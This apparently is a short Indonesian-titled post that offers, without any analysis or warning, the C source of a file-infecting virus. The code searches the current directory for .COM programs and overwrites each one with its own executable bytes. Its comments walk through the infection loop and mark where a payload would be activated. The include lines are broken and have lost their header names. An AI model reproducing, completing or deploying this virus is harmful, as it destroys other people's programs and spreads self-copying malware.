Virus dengan Bahasa Program C

#include

#include

#include

FILE *Virus,*Host;

int x,y,done;

char buff[256];

struct ffblk ffblk;

main()

{

done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */

while (!done) /* Loop for all COM's in DIR*/

{

printf("Infecting %s\n", ffblk.ff_name); /* Inform user */

Virus=fopen(_argv[0],"rb"); /* Open infected file */

Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */

x=9504; /* Virus size - must */

/* be correct for the */

/* compiler it is made */

/* on, otherwise the */

/* entire virus may not*/

/* be copied!! */

while (x>256) /* OVERWRITE new Host */

{ /* Read/Write 256 byte */

fread(buff,256,1,Virus); /* chunks until bytes */

fwrite(buff,256,1,Host); /* left < 256 */

x-=256;

}

fread(buff,x,1,Virus); /* Finish off copy */

fwrite(buff,x,1,Host);

fcloseall(); /* Close both files and*/

done = findnext(&ffblk); /* go for another one. */

}

/* Activation would go */

/* here */

return (0); /* Terminate */

}